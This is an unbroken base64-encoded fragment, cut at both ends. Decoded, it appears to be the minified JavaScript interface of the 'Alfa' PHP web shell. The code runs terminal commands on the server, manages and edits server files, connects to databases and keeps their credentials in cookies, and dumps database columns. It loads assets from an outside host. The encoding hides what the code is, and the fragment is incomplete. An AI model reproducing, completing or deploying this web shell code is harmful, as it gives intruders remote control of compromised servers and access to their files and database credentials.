ztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBhbGZhQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGFsZmFfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGFsZmFPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2FsZmFiNjQoIm9wZW5fYXJjaGl2ZV9kaXIiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFsZmExPSIrYWxmYWI2NCh0KSsiJmFsZmEyPSIrYWxmYWI2NChpKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVfYmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWYoMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIGJhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2ZV9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGFsZmFEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlKCl9KSxhbGZhQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gYWxmYUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gYWxmYVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZihyb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2YXIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4iK3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnYWxmYUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjwvdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2FsZmFEZWxldGVDb25uZWN0VG9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3RvcnlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gYWxmYUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0sc2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gYWxmYUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbHVlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2FsZmFsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIgcj0iYT0iK2FsZmFiNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2FsZmFiNjQobCkrIiZhbGZhMT0iK2FsZmFiNjQoYSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2VfbnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIShhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGFsZmFDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yKCIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLGk9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJsaW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBhbGZhZ2V0RmxhZ3MoKXtkYXRhPSJhPSIrYWxmYWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIrYWxmYWI2NChjXykrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093blByb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHkoImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZWN0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24gYWxmYUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYoIiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKSYmKGFsZmFfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlIil8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGFsZmFGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdldC5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxhbGZhU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZpZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpLHMub25jbGljaz1mdW5jdGlvbigpe2FsZmFGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cmltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgsXz1lLmNsaWVudFk7YWxmYVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9YWxmYUdldExhc3RGb2xkZXJOYW1lKGUpKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldEF0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iYWxmYUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2xhc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiB